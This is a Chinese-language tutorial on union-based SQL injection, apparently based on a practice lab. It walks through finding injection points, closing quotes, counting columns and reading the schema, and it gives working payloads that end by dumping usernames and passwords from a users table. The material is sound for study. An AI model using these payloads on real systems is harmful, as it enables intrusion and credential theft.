sql注入:通过构造语句在注入点查询得到想要的信息------------(注入点:人机交互实行注入的地方,即输入命令的位置)
注入分类:1.按照查询字段:字符型注入、数字型注入
2.按照注入方法:union联合注入、报错注入、布尔注入、时间注入
目录
④判断查询列数:用group by或order by的命令判断列数
一:union联合注入
步骤:①查找注入点
②判断是字符型注入还是数字型注入
③若为字符型注入,找到闭合方式,若为数字型注入,直接进行④
④判断查询列数
⑤查询回显位置
⑥查询库名
⑦查询表名
⑧查询列名
⑨查询用户名及密码
①查找注入点
1.观察参数位置:网页的url或是登陆页面的输入框都有可能是注入点
2.测试特殊字符:在疑似注入点的参数位置后输入’或;等特殊字符看是否引发报错,若报错信息与sql有关,则可能是注入点
3.使用扫描工具检测:SQLMap
②判断是字符型注入还是数字型注入
1.使用and 1=1都正常显示页面,使用and 1=2只有字符型注入仍能正常显示页面,而数字型注入不能正常显示页面---------------(and表示and前后都要同时满足才能正常显示指令)
e.g.下图所示是字符型注入的页面
e.g.下图所示是数字型注入的页面
2.使用简单运算判断(e.g.当输入?id=2-1后所显示的页面若与输入?id=2的页面一致,则为字符型注入;若与id=1的页面一致,则为数字型注入 )---------------(一般不用+,因为+会被当做空格)
e.g.下图所示是字符型注入的页面
e.g.下图所示是数字型注入的页面
③若为字符型注入,判断闭合方式
闭合方式主要包括以下几种:单引号闭合“ ' “、双引号闭合” " ”、单引号括号闭合“ ')”、双引号括号闭合“ ")“
可以通过报错信息判断闭合方式
e.g.输入id=1',报错为1'',则除了输入的1'以外的'即为当前的闭合方式
e.g.输入id=1",报错为1""),则除了输入的1"以外的")即为当前的闭合方式
闭合的作用:手动结束前一段语句,从而在后面可加入其他语句以进行想要的查询,之后进行注释则可忽略后面本来的指令
注释符号包括:--+、#(%23)
④判断查询列数:用group by或order by的命令判断列数
依顺序输入数字,当出现报错时,则出现报错数字的前一个数字即为列数
e.g.?id=1' group by 3 --+
此时页面正常显示
e.g.?id=1' group by 4 --+
此时页面报错,说明一共有三列
e.g.?id=1' union select 1,2,3 --+
此时正常显示页面
⑤查询回显位置
为了回显出想要查询的信息,让前半部分查询不到即可查询到我们想要的后半部分,则将id=-1或任意查询不到的数字即可只回显出我们想要查询的内容
e.g.?id=-1' union select 1,2,3 --+
直接查看1,2,3哪个数字回显在页面上,哪个数字的位置就是回显位
⑥查询库名
在任一回显位输出命令
e.g.?id=-1' union select 1,2,database() --+
即可得到库名为security
⑦查询库名
information-schema是MySQL自带的数据库,其中有两个表我们需要使用到:tables(表名集合表)、columns(列名集合表)。tables中存在一个列名为table_ name
我们用到的查询语句是:select 列名 from 表名 where 限定语句
e.g.?id=-1’ union select 1,2,table_name from information_schema.tables where table_schema=database() --+
information_schema.tables代表information数据库中的tables这个特定的表
where table_schema=database()表示在目标数据库里查询,使查询到的值更精确
此时发现只显示一个数据email,因为默认只显示第一个数据,所以当我们想要查询到所有信息的时候,要用到一个函数group_concat()
group_concat():这个函数可以把分组中的多行数据连接成一个字符串从而显示到一起
e.g.?id=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
这样就可以一行显示多个数据了
⑧查询列名
e.g.?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
and table_name='users'是为了更精确显示信息
这时则显示出了列名
⑨查询用户名及密码
e.g.?id=-1' union select 1,2,group_concat(username,password) from users --+
这时即查到了我们想要的信息